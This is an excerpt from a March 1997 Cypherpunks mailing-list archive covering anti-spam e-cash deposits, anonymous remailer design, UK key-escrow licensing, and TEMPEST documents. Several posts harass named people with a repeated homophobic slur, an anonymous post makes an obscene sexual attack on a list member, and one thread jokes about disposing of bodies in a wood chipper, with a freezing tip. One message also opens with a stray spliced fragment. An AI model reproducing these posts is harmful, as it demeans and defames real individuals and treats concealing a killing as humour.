>   I truly believe that the InterNet should be left accessible to those
> without a lot of resources/cash, and that any effort to control abuse
> through cost should be so minimal as to not interfere with the ability
> of those who are currency-challenged to participate in its benefits.


I concur.  Note that a variation on the "good faith deposit"
idea is to make the included payment an actual, final
_payment_.  If it were small enough, it wouldn't really matter
to the sender (especially since she would probably get a
response back containing a similar payment).  Still, in order
to minimize the economic impact on non-commercial senders, 
I favor a deposit instead.  (It can be implemented almost as
efficiently as a final payment would...)


Again I assert, though, that this "deposit" shall have no legal
effect.  The cost of possibly incurring legal liability far 
outweighs the amounts that we are dealing with, effectively 
killing the whole idea in its cradle.


Regards,

Zooko

NOT speaking for DigiCash or any other person or organization.

PGP sig follows



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From real at freenet.edmonton.ab.ca  Wed Mar 26 08:58:39 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Wed, 26 Mar 1997 08:58:39 -0800 (PST)
Subject: Corrupted "From:" headers in my posts
In-Reply-To: <wXH74D18w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970326095504.82200C-100000@fn2.freenet.edmonton.ab.ca>



On Wed, 26 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> Alec <camcc at abraxis.com> writes:
> 
> > At 01:27 AM 3/26/97 -0600, Toto wrote:
> >
> > |I emailed John Gilmore, asking his advice, and he informed me that
> > |he has run into this problem before, and would be happy to provide the
> > |solution, on one condition.
> > |
> > |  He wants one million monkeys to send 5737 messages to the list, saying
> > |"John Gilmore is NOT a cocksucker."
> > |  Then, he will provide the solution, and not a moment before.
> >
> > OK, John, count me in. #1!
> >
> > "John Gilmore is NOT a cocksucker."
> 
> John Gilmore IS a cocksucker.
> 
>And you Vulis need a doctor.
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real at freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756 at freenet.toronto.on.ca







From nobody at huge.cajones.com  Wed Mar 26 10:14:23 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 26 Mar 1997 10:14:23 -0800 (PST)
Subject: New WinSock Remailer Available; Compatible with Win95
In-Reply-To: <oTH74D17w165w@bwalk.dm.com>
Message-ID: <199703261814.KAA14932@mailmasher.com>


Dimitri Vulis <dlv at bwalk.dm.com> writez:
> Joey Grasty <jgrasty at gate.net> writes:
> > You can now download the latest version (version ALPHA1.3B) of the
> > WinSock Remailer from my webpage at:
> >
> >   http://www.cyberpass.net/~winsock/
> ...
> > The WinSock Remailer is the Windows version of a cypherpunk remailer.
> > This version, ALPHA1.3B, runs under Windows 3.1 and Windows 95.
> > A version for Windows NT will be released shortly.
> ...
> > I need to know if you have success with any of the following untested
> > configurations:
> >
> > a) Windows NT (now known not to work)
> 
> What exactly is the problem with NT (if any)?
> 
> You might want to take a look at the source code to the cancelbot I
> published last year - it has some winsock calls that work fine under NT.

And where would one find a copy of that?





From dlv at bwalk.dm.com  Wed Mar 26 11:33:41 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 11:33:41 -0800 (PST)
Subject: improving public acceptance: "alt" mail domain
In-Reply-To: <Pine.LNX.3.94.970326095928.9176R-100000@neptune.chem.uga.edu>
Message-ID: <J1s74D22w165w@bwalk.dm.com>


Andy Dustman <andy at CCMSD.chem.uga.edu> writes:

> FYI, anonymous.net is registered to John Gilmore.

SHIT!!! Someone, quick, complain to the InterNIC.

Who let the cocksucking NSA shill kidnap a domain name?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Wed Mar 26 11:35:31 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 11:35:31 -0800 (PST)
Subject: New WinSock Remailer Available; Compatible with Win95
In-Reply-To: <199703261814.KAA14932@mailmasher.com>
Message-ID: <wNT74D24w165w@bwalk.dm.com>


nobody at huge.cajones.com (Huge Cajones Remailer) writes:

> Dimitri Vulis <dlv at bwalk.dm.com> writez:
> > Joey Grasty <jgrasty at gate.net> writes:
> > > You can now download the latest version (version ALPHA1.3B) of the
> > > WinSock Remailer from my webpage at:
> > >
> > >   http://www.cyberpass.net/~winsock/
> > ...
> > > The WinSock Remailer is the Windows version of a cypherpunk remailer.
> > > This version, ALPHA1.3B, runs under Windows 3.1 and Windows 95.
> > > A version for Windows NT will be released shortly.
> > ...
> > > I need to know if you have success with any of the following untested
> > > configurations:
> > >
> > > a) Windows NT (now known not to work)
> >
> > What exactly is the problem with NT (if any)?
> >
> > You might want to take a look at the source code to the cancelbot I
> > published last year - it has some winsock calls that work fine under NT.
>
> And where would one find a copy of that?

For example, the Phrack archive.  I also posted it to the coderpunks
mailing list, which may be archived somewhere.  I was also told that
it's at the http://www.dhp.com/~kibo phreaking site.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Wed Mar 26 11:37:00 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 11:37:00 -0800 (PST)
Subject: Anonymous mail as spam?
In-Reply-To: <199703261646.RAA10051@digicash.com>
Message-ID: <osT74D25w165w@bwalk.dm.com>


Bryce <bryce at digicash.com> writes:

>  "Toto <toto at sk.sympatico.ca>" typed:
> >
> >   I believe that the 'money-point' for UCE (unsolicited commercial
> > email) spammers is somewhere around .02% for most of their offerings.
> >   In other words, they need to send out 10,000 emails and get a response
> > just to break even.
>
> Actually I had a talk with a certain anti-spam ISP owner
> recently, and she asserted that the spammers don't make
> significant money from responses to their spams, but are
> instead making their money from stupid newbie companies who
> pay them for advertising service.

That's an interesting business model.
Alice doesn't know shit about the 'net.
In particular, Alice doesn't know that UCE annoys people and
doesn't generate income; and Alice doesn't have the technical
expertise to set up a SLIP/PPP account, not to mention mass-mailing.
Alice pays Bob to mass-mail her UCE from a throw-away account.
Alice probably pays Bob a lot.
Bob probably promises Alice a lot.
Should Alice be encouraged to sue Bob for fraudulent misrepresetation
of UCE? :-)
Would a journalist with any semblance of integrity try to inform
Alice that UCE doesn't pay, instead of calling for more censorship?

> It's an interesting proposition.  You would think, though, that
> the spamsters might as well just take the stupid newbie
> company's cash and then send a couple of token e-mail
> messages, if that's their business model.  :-)

*If* there was a free, easy way to remove addresses of people who
don't want junk e-mail from their mailing lists, most junk e-mailers
would probably try to use it. The (snail-mail) direct marketers
association has it; I put my name on their block list and I
get almost no junk snail-mail.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From dlv at bwalk.dm.com  Wed Mar 26 11:37:27 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 11:37:27 -0800 (PST)
Subject: [Proposal:] Revolving Web Mirrors
In-Reply-To: <v03007808af5f0eb17780@[207.167.93.63]>
Message-ID: <J4s74D23w165w@bwalk.dm.com>


"Timothy C. May" <tcmay at got.net> writes:

> At 9:00 AM -0600 3/26/97, William H. Geiger III wrote:
>
> >>How does this actually provide any benefit to anyone?  Search engines ala
> >>Altavista etc. are entirely too unreliable and too slow to pick up on
> >>these magical mirrors, especially if they are as dynamic as they would
> >>appear to be.  And if there's a central "come here and get all the
> >>mirrors!" page, the Bad Guys can simply block that page too.
> ...
> >Does Altavista, ...ect accept notification of new URL's and if so what is
> >the average lag time between receiving notice and the URL making it into
> >the search engine?
> >
> >The problem that I am trying to address is that a determined State could
> >block all static mirrors over a period of time. By making these sites
> >dynamic it makes the job much more difficult for them.
>
> Why not have e-mail notification about mirrors?

To whom?

> (Like Raph's remailer list, where an e-mail version is sent out in tandem
> with the Web site update.)
>
> Sure, some Big Mommy filtering services will block the Web sites, but they
> probably are completely unequipped to try to interfere with e-mail.

It's a piece of cake to scan all incoming e-mail and to see who's
getting notifications of the new locations of the "banned pages".
It doesn't matter if the "authorities" are the local gubmint or
a corporation... If the incoming e-mail is encrypted then the
authorities can scrutinize all incoming encryped e-mail and ask
the recipients what's in it, why it's encrypted, and whether it's
solicited or not.  If the notofications of the "banned pages"
locations are unsolicited, they have good grounds for a complaint
to your ISP.  If they're solicited... the recipient's in trouble.

But if the notifications are a small part of traffic on a large-
volume mailing list, like this one, then the recipient can claim
that they've subscribed to the mailing list for the other content
(like the ASCII art :-).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From rah at shipwright.com  Wed Mar 26 12:00:02 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Wed, 26 Mar 1997 12:00:02 -0800 (PST)
Subject: [OFF TOPIC]Comments about CFP '97
In-Reply-To: <3.0.1.32.19970325160724.005df3c0@popd.ix.netcom.com>
Message-ID: <v03020918af5f1be4cb05@[139.167.130.246]>


At 11:55 pm -0500 on 3/25/97, Timothy C. May wrote:

> Yes, inasmuch as I already have a Troy-Bilt chipper/shredder for disposal
> of the  byproducts of home defense.
>
> (Bought even before I saw "Fargo."]

Actually, what you *really* want is one of those 400-lb-flywheel jobs that
the tree surgeons use to mulch big tree limbs up with. I worked behind one
one summer in college. They are *indeed* impressive.

Don't forget to freeze everything before you put it in there, though. Works
cleaner and faster.

Actually, there was a case a few years where a guy did exactly that with
his wife, her deep-frozen and all. Only problem was the cops figured it out
after they found out he had rented one of these things shortly before she
disappeared. Though they didn't find anything of her after the critters in
woods behind his house had their "one *tasty* burger", John Law did break
the tree mulcher down and find DNA-confirmed microscopic bits of her in the
machine's um, interstices... Remember, return the tools clean folks, or you
don't get your deposit back.

Reminds me of the headless biker we talked about here a while ago.

Whoops! Gotta run. Time for lunch!

I *love* this list...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/








From jya at pipeline.com  Wed Mar 26 12:37:13 1997
From: jya at pipeline.com (John Young)
Date: Wed, 26 Mar 1997 12:37:13 -0800 (PST)
Subject: TEMPEST Doc
Message-ID: <1.5.4.32.19970326202926.008710a8@pop.pipeline.com>


We've digitized several chapters of the US Army Corps of 
Engineers "Electromagnetic Pulse (EMP) and TEMPEST 
Protection for Facilities."

   http://jya.com/emp.htm

Pretty good specs for what to do outside the laboratory
to protect against compromising emanations (and rude 
nukes), many previously discussed here.

Reminder: Joel McNamara hosts the non-classified cornucopia:

   http://www.eskimo.com/~joelm/tempest.html







From dlv at bwalk.dm.com  Wed Mar 26 13:53:41 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 13:53:41 -0800 (PST)
Subject: [OFF TOPIC]Comments about CFP '97
In-Reply-To: <v03020918af5f1be4cb05@[139.167.130.246]>
Message-ID: <94w74D27w165w@bwalk.dm.com>


Robert Hettinga <rah at shipwright.com> writes:

> At 11:55 pm -0500 on 3/25/97, Timothy C. May wrote:
>
> > Yes, inasmuch as I already have a Troy-Bilt chipper/shredder for disposal
> > of the  byproducts of home defense.
> >
> > (Bought even before I saw "Fargo."]
>
> Actually, what you *really* want is one of those 400-lb-flywheel jobs that
> the tree surgeons use to mulch big tree limbs up with. I worked behind one
> one summer in college. They are *indeed* impressive.
>
> Don't forget to freeze everything before you put it in there, though. Works
> cleaner and faster.
>
> Actually, there was a case a few years where a guy did exactly that with
> his wife, her deep-frozen and all. Only problem was the cops figured it out
> after they found out he had rented one of these things shortly before she
> disappeared. Though they didn't find anything of her after the critters in
> woods behind his house had their "one *tasty* burger", John Law did break
> the tree mulcher down and find DNA-confirmed microscopic bits of her in the
> machine's um, interstices... Remember, return the tools clean folks, or you
> don't get your deposit back.
>
> Reminds me of the headless biker we talked about here a while ago.

This reminds me of a story that happened 5 or 6 years ago to a sovok
who used to be a dentist back in Russia. He couldn't become a dentist
in the U.S., so he became a stockbroker out in the midwest. He lost
some money for another sovok. Sovok #2 asked sovok #1 nicely for a
reimbursement, but he refused. So, he killed him and ran his body
through one of those tree mulching things. They never found much of
sovok #1's body. However sovok #2 was so stupid that he stole #1's
Rolex watch and was seen wearing it, so he got arrested and even
convicted.

> Whoops! Gotta run. Time for lunch!
>
> I *love* this list...

Just stay away from sovoks.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From toto at sk.sympatico.ca  Wed Mar 26 15:22:39 1997
From: toto at sk.sympatico.ca (Toto)
Date: Wed, 26 Mar 1997 15:22:39 -0800 (PST)
Subject: KRAP
In-Reply-To: <199703262100.QAA13328@upaya.multiverse.com>
Message-ID: <3339AF8D.74E0@sk.sympatico.ca>


Jeremey Barrett wrote:

> >  Key Recovery Agents Plan
 
> I dunno, but they couldn't have picked a better acronym :-)

  Good eye. I read about it and never noticed their
truth-in-advertising acronym.

  You are hereby awarded 50,000,000 Toto Eca$h credits.
  (1,000,000,000,000,000,000 = 1 peso)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From alsop at ix.netcom.com  Wed Mar 26 15:39:42 1997
From: alsop at ix.netcom.com (Kevin McGowan)
Date: Wed, 26 Mar 1997 15:39:42 -0800 (PST)
Subject: New remailer
Message-ID: <199703262339.RAA18103@dfw-ix12.ix.netcom.com>


Features: cpunk pgp pgponly hash cut ksub

Public key for remailer at neva.org

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzL2F4AAAAEEAL2G5u427j6LBWgUi8S1OlCsnaPhoB6h4V0xS2FQfuIQQS9Q
dtTL/p406sdGAKtQEm/BecIgY+MLNKNukuOU9ifgz7jAs3kmm7i4yS714ua4vwag
Kg3fJIOiNxIk38ieKJE0s3vfPMZPeGNt8x8y7jfxZuMvuVyjNrYJG4a+gwxNAAUR
tBoyTXVsZXMgPHJlbWFpbGVyQG5ldmEub3JnPg==
=ta0J
-----END PGP PUBLIC KEY BLOCK-----





From bubba at dev.null  Wed Mar 26 16:06:20 1997
From: bubba at dev.null (Bubba Rom Dos)
Date: Wed, 26 Mar 1997 16:06:20 -0800 (PST)
Subject: WebWorld 17-18
Message-ID: <3339BA11.6842@dev.null>

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Type: text/html
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From nobody at huge.cajones  Wed Mar 26 17:39:04 1997
From: nobody at huge.cajones (TruthMonger)
Date: Wed, 26 Mar 1997 17:39:04 -0800 (PST)
Subject: No Subject
Message-ID: <199703270136.TAA24233@wombat.sk.sympatico.ca>


its deployer.
Subject: Re: game theoretic analysis of junk mail


Bryce wrote:

> If I send a message to cpunks, and it is destined to reach
> 1000 mailboxes, do I have to include USD 100.00 with my
> message, which will be split by the majordomo into 1000
> 10-cent pieces?  Yikes!  And then I have to hope that all of
> the cypherpunks return my deposit.  Sounds like a bad bet.

  All discussions of eca$h charges for email seem to refer to a figure
of $ .10 as a reasonable sum. I suspect that this is due to people
subconsciously equating email with snail mail.
  I think that email, however, is a creature of its own design, and its
essence lies somewhere between snail mail and conversation.

  Think about this:
  What if, everytime you spoke to someone during the day, you had to
pay a dime? How would this change the interpersonal rapport that goes
on daily between friends, acquaintances, and strangers?

  What if you are a polite person, who thanks others regularly? And it
costs you a dime every time you do so?
  What if people rarely reply, "You're welcome." and it ends up costing
you an arm and a leg to be polite?
  This is just a simple conversational example, to illustrate that 
a small cost can have major ramifications when applied to various
situations.

  The Internet and the Web indeed have the potential to bring global
change in the arenas of knowledge and communications, but the question
is, will it do so in a manner that promotes equality, or in a manner
that promotes elitism and increased class-structures?

  The concept of limiting UCE/Spam through use of an email surcharge
may be viable, but then one has to deal with issues surrounding those
who have a need to communicate and few funds to devote towards doing
so. For example, people with disabilities who have legitimate needs
to receive support and information via support forums.
  The minute that $$$ enter the picture, then a class-system begins to
develop, and all sorts of individual, corporate and government entities
come out of the woodwork to level the playing field, or to build many
different levels on the playing field.

  The Internet's future may well parallel the development of the public
school system, in some ways. Public education was indeed something which
raised the level of all, but private schools made certain that those who
had the edge kept it.
  My view is that the nadir point in any new direction that society
takes comes fairly early after its inception. Thus the near future is
the time when it will be decided which direction the Net and the Web
will move, and in what areas its potential will be developed.
  Those who shape the Internet and the Web in the next year or so will
have a vast effect on the future.

TruthMonger






From dthorn at gte.net  Wed Mar 26 18:48:00 1997
From: dthorn at gte.net (Dale Thorn)
Date: Wed, 26 Mar 1997 18:48:00 -0800 (PST)
Subject: Corrupted "From:" headers in my posts
In-Reply-To: <199703252319.XAA01734@server.test.net>
Message-ID: <3339DF9F.5B62@gte.net>


Alec wrote:
> At 01:27 AM 3/26/97 -0600, Toto wrote:
> |I emailed John Gilmore, asking his advice, and he informed me that
> |he has run into this problem before, and would be happy to provide the
> |solution, on one condition.
> |  He wants one million monkeys to send 5737 messages to the list, saying
> |"John Gilmore is NOT a cocksucker."
> |  Then, he will provide the solution, and not a moment before.

> OK, John, count me in. #1!
> "John Gilmore is NOT a cocksucker."

EHHHH!  John Gilmore IS a cocksucker.  This "yes" vote makes up for
10 "no" votes, so you folks better get real busy.






From gnu at toad.com  Wed Mar 26 20:41:26 1997
From: gnu at toad.com (John Gilmore)
Date: Wed, 26 Mar 1997 20:41:26 -0800 (PST)
Subject: UK domestic crypto regulation proposal *is* Clipper
Message-ID: <199703270440.UAA22819@toad.com>


I've seen several comments on cypherpunks that misconstrue the UK proposal.
E.g. Phillip Hallam-Baker said:

> First off the proposals are not intended as a Trojan horse for
> the Clipper chip "or any other colonial scheme".
> ...
> They are emphatically not trying to introduce a Clipper chip proposal.

Unfortunately, I believe he is wrong.  It's worse than Clipper, since
it outlaws the competition.

The proposed legislation would make it illegal to offer the UK public
any service related to key management, including simply signing
peoples' keys, without being licensed by the state.  This licensing
scheme includes a GAK requirement, an interoperability requirement,
and a whole pile of requirements that may need a little translation.

This means that there would only be *one* public-key infrastructure in
the UK (they claim this as a feature for end-users, since it provides
interoperability -- though they apparently haven't picked *whose* PKI
they are going to enshrine as a monopoly).  Unfortunately it would be
completely subverted by the government.  Users would have no choice
about whether to use a different infrastructure, say from another
country, or by setting it up themselves using PGP, Secure DNS, or
whatever.  The "trust" they offer is 100% sham, since you yourself
don't get to pick who you trust.  They do.

"It will be necessary to ensure that TTP security personnel are
competent, suitably qualified, trusted, & have successfully completed
a recognised security vetting procedure."  Translation: "Public key
certification authorities will need a security clearance."

"Checks will need to be undertaken to ensure that the background and
other business interests of [TTP company] directors would not
compromise the trust placed in a TTP."  And later, "Checks will be
made to ensure that those who own, or effectively control, an
organisation, are suitable candidates for ownership of a TTP."
Translation: "We will only license people who we believe will turn
over anyone's key on demand.  If they show any sign that their
customers could actually trust them to keep private keys private,
their license will not be approved."

It explicitly states:

	It will be a criminal offence for a body to offer or provide
	licensable encryption services to the UK public without a
	valid license.

This isn't a requirement on USERS, it's a requirement on OFFERERS.
However, what this means for users is that if you want to use digital
signatures, you have to use a Traitorous Third Party.  It will be
illegal for anyone else to offer you a digital signature service.
Perhaps you could use encryption without using digital signatures, but
you've just lost most of the benefits of public-key cryptography.

I believe the proposal outlaws Secure DNS services.  Merely signing
the keys of sub-domains, for free or for money, would be illegal.  You
will only be able to secure the Internet if you first subvert the
Internet by turning over the keys.

And while the government mentions in several places that it isn't
interested in access to authentication keys, the proposal still
requires that anyone providing authentication services (like signing
keys) be a licensed TTP and subject to GAK.

	John Gilmore






From harka at nycmetro.com  Wed Mar 26 21:16:04 1997
From: harka at nycmetro.com (harka at nycmetro.com)
Date: Wed, 26 Mar 1997 21:16:04 -0800 (PST)
Subject: improving public acce
Message-ID: <TCPSMTP.17.3.27.0.23.10.2780269260.1586167@nycmetro.com>


-----BEGIN PGP SIGNED MESSAGE-----

 In> Adam Back, <aba at dcs.ex.ac.uk>, writes:

 > What we need to do, is to arrange a wide-spread anonymous mail system
 > on the internet, which is accepted as unchangeable on a practical
 > basis, where no reply addresses, and no indication of sender is given,
 > and it accepted as a given that the sender can not be traced.

Hmm, could a NYM account maybe serve as entry and exit point for a
remailer? That would

- - have the advantage, that the remailer, the domain and the
operator aren't even known ("Anonymity for anonymous remailers" -
my former proposal of usage of "shared account" remailers becomes
an actual possibility here) and therefore shut-downs are unlikely.
With the exception of the NYM-account, which is trivial to replace.

- - make traffic analysis even harder, for alone by the reply block
chain an incoming and outgoing message would "disappear" in other
traffic, not to mention, that the NYM account remailer (and the
attached reply block chain) could be only one adress in an even
longer chain of remailers.

- - encrypt even plain-text messages at least on their way through the
reply block chain conventionally, thereby adding to resistance to
traffic analysis.

- - even out the message load of the available remailers by using
preferrably the remailers with only little traffic for the reply
block chain, yet again helping against traffic analysis of the
general remailer network.

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

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Version: 2.6.2

iQEVAgUBMzoCVTltEBIEF0MBAQEWPwf/VnssE40IAI0IbHsuzMpYcEg2NaivLXTL
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R8SE90VEKkTRIWGE5OsXaeJaNWhb+GBJzzRosGlgLv6YT5lTuMO5jfuNxdmbcprh
M2W6RPRljNpg2SRlq/Y1Ci8dOAJFigQUoiZju0+ZrmnZUCddE0Ot5zDA/su8yKX2
5/Ul4/1ccZeBJNbZbZF/c4zEDshZcWqwD+5vAdg9yIhyixMPsJb184+SKLl/Nwrb
nAkDIn7QBWJiRJnW2ZYl2KmuKmjPGhZ2FSvCuAjYD5K3eCvuh9wO9A==
=uiY3
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...







From ichudov at algebra.com  Wed Mar 26 22:04:20 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Wed, 26 Mar 1997 22:04:20 -0800 (PST)
Subject: Corrupted "From:" headers in my posts
In-Reply-To: <3339DF9F.5B62@gte.net>
Message-ID: <199703270557.XAA27131@manifold.algebra.com>


Dale Thorn wrote:
> 
> Alec wrote:
> > At 01:27 AM 3/26/97 -0600, Toto wrote:
> > |I emailed John Gilmore, asking his advice, and he informed me that
> > |he has run into this problem before, and would be happy to provide the
> > |solution, on one condition.
> > |  He wants one million monkeys to send 5737 messages to the list, saying
> > |"John Gilmore is NOT a cocksucker."
> > |  Then, he will provide the solution, and not a moment before.
> 
> > OK, John, count me in. #1!
> > "John Gilmore is NOT a cocksucker."
> 
> EHHHH!  John Gilmore IS a cocksucker.  This "yes" vote makes up for
> 10 "no" votes, so you folks better get real busy.
> 

I can tell you even without John Gilmore, the corrupted From: lines are
a direct result of the government conspiracy to suppress cypherpunks
movement. A typical man in the middle attack, if you wish.

DEATH TO TYRANNY!

	- Igor.





From dlv at bwalk.dm.com  Wed Mar 26 23:10:16 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 23:10:16 -0800 (PST)
Subject: Corrupted "From:" headers in my posts
In-Reply-To: <199703270557.XAA27131@manifold.algebra.com>
Message-ID: <eLq84D40w165w@bwalk.dm.com>


ichudov at algebra.com (Igor Chudov @ home) writes:

> Dale Thorn wrote:
> >
> > Alec wrote:
> > > At 01:27 AM 3/26/97 -0600, Toto wrote:
> > > |I emailed John Gilmore, asking his advice, and he informed me that
> > > |he has run into this problem before, and would be happy to provide the
> > > |solution, on one condition.
> > > |  He wants one million monkeys to send 5737 messages to the list, saying
> > > |"John Gilmore is NOT a cocksucker."
> > > |  Then, he will provide the solution, and not a moment before.
> >
> > > OK, John, count me in. #1!
> > > "John Gilmore is NOT a cocksucker."
> >
> > EHHHH!  John Gilmore IS a cocksucker.  This "yes" vote makes up for
> > 10 "no" votes, so you folks better get real busy.
> >
>
> I can tell you even without John Gilmore, the corrupted From: lines are
> a direct result of the government conspiracy to suppress cypherpunks
> movement. A typical man in the middle attack, if you wish.

Yes indeed - Cocksucker John Gilmore is the man in the middle,
getting it from Greg Broils and giving it to Sandy Sandfart.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From lucifer at dhp.com  Wed Mar 26 23:41:04 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Wed, 26 Mar 1997 23:41:04 -0800 (PST)
Subject: PKC
Message-ID: <199703270740.CAA29935@dhp.com>


Warning: if you fuck Tim Maya in the ass, a rabid tapeworm 
might bite your penis.

   /\ _ /\          |
  |  0 0  |-------\==
   \==@==/\  ____\ |
    \_-_/ _||    _||






From dthorn at gte.net  Wed Mar 26 23:57:33 1997
From: dthorn at gte.net (Dale Thorn)
Date: Wed, 26 Mar 1997 23:57:33 -0800 (PST)
Subject: Corrupted "From:" headers in my posts
In-Reply-To: <199703270557.XAA27131@manifold.algebra.com>
Message-ID: <333A2834.300F@gte.net>


Igor Chudov @ home wrote:
> I can tell you even without John Gilmore, the corrupted From: lines are
> a direct result of the government conspiracy to suppress cypherpunks
> movement. A typical man in the middle attack, if you wish.

What you just said is the unspoken fear and dread every one of us
wakes up with in the morning (those of us who are still sane).
The U.S. Founding Fathers warned of the need for constant vigilance,
and nowhere is that need better illustrated than here.






From gbroiles at netbox.com  Thu Mar 27 00:13:02 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Thu, 27 Mar 1997 00:13:02 -0800 (PST)
Subject: INFO: Pro-CODE testimony available now online at  democracy.net!
In-Reply-To: <199703250554.VAA22477@mail.pacifier.com>
Message-ID: <3.0.1.32.19970327001944.02931994@mail.io.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 09:52 PM 3/24/97 -0800, jim bell wrote:
=>I, and maybe a lot of other people, are still waiting for somebody to do a 
>side-by-side comparison of "Pro-Code 1997" with last year's version, the 
>original.

A marked-up version (deleted text shown as strikeout, added text shown as
emphasized, common text shown as normal, will require a browser like Netscape
or IE which implements <strike> and <em>) is available at

<http://www.io.com/~gbroiles/procodemarkup.html>. 

It's not exactly attractive, but it gets the job done. 

Am working on a bigger survey of pending US and foreign crypto legislation,
but that may take a few more days.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

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9YzxdwjTVP6553M1QPqojgOUeSSfz+HMoW0KUi7BZmmLE/dAwQrZ/bXBGq7MZ3sh
eG8RwRAnhTm425qK3aM2k/5SPQoVsroAiN4z9nyAM5pG5piuXfsJ01XsCk++UYes
DGSAWRZkYivBNXMuxP+UIi0KojXjRIWkoaPox1cGQ/qCaUW5frwSJA==
=nZkW
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From stewarts at ix.netcom.com  Thu Mar 27 00:18:42 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 27 Mar 1997 00:18:42 -0800 (PST)
Subject: remailer spam throttle
In-Reply-To: <Pine.LNX.3.94.970324222338.9176L-100000@neptune.chem.uga.e du>
Message-ID: <3.0.1.32.19970327001712.0065b100@popd.ix.netcom.com>


>From a legal perspective, Greg is right.  However, from a practical
perspective, the important impediments to running remailers are
(1) mail recipients hate you and send lots of complaints and
(1a) usenet readers hate you and send lots of complaints 
	(if you still support news posting.)
Andy's model of a remailer in which the remailer sends the recipient 
a delivery notice with a disclaimer/waiver/etc. and the recipient returns
it to pick up the message raises the level of politeness and lowers
the amount of surprise compared to current remailers, so it's a 
potentially big win.  If I start up a remailer again some year,
other than a middleman, it'll definitely need this kind of feature.
Building the positive public reputation of remailers and remailer
operators is a critical part of keeping the remailer system running,
at least as much as convenient, widely-deployed software.

For posting to Usenet, the "we have an anonymous posting, anybody want it"
approach doesn't sound highly practical, though it could be done,
but I'd probably limit postings to moderated newsgroups (where a human
will be filtering out the blatant spam and abuse) and flame-tolerant
newsgroups like alt.anonymous.messages and alt.flames.  I find this
highly frustrating, since one of the big wins about remailers is 
posting to talk.politics.* and alt.religion.scientology and other
groups where posting your opinion with your name on it may be unsafe.
There's also the problem of publishing acceptable newsgroup lists,
since failing messages silently is unfriendly to users, but 
there's a traffic analysis problem (Bad Guys can watch who fetches
remailer use policies and build up their dossiers.)

Most of the problem with (2) Third Parties _can_ be helped a bit by
disclaimers, by plausible deniability, by not having logs to subpoena,
and by having remailers that you're willing to shut down with profuse
apologies to head off lawsuits.  It isn't a perfect job if someone
really wants to go for blood by making you defend repeated lawsuits
(especially if they're really targeting you, e.g. posting their
Secret Documents through your remailer themselves to entrap you.)
But it'll let most remailer users defend against most reasonable 
complaints.

I do also agree with Greg that getting the sender of a message to
indemnify you isn't worth the recycled electrons used for the
log file you aren't keeping.  That's especially the case if
you're forwarding messages received from other remailers,
unless you can get other remailer operators to indemnify you,
in return for which you'd probably have to indemnify them.  No thanks.

At 01:58 AM 3/25/97 -0800, Greg Broiles wrote:
>I think there are two broad models of complaints/problems with remailers:
>1. The recipient is angry because they received a message they didn't 
>like. (because it's an advertisement, or it's rude, or [....]
>2. A third party is angry because the sender sent some information to the
>recipient which the third party thinks should not have been sent. 
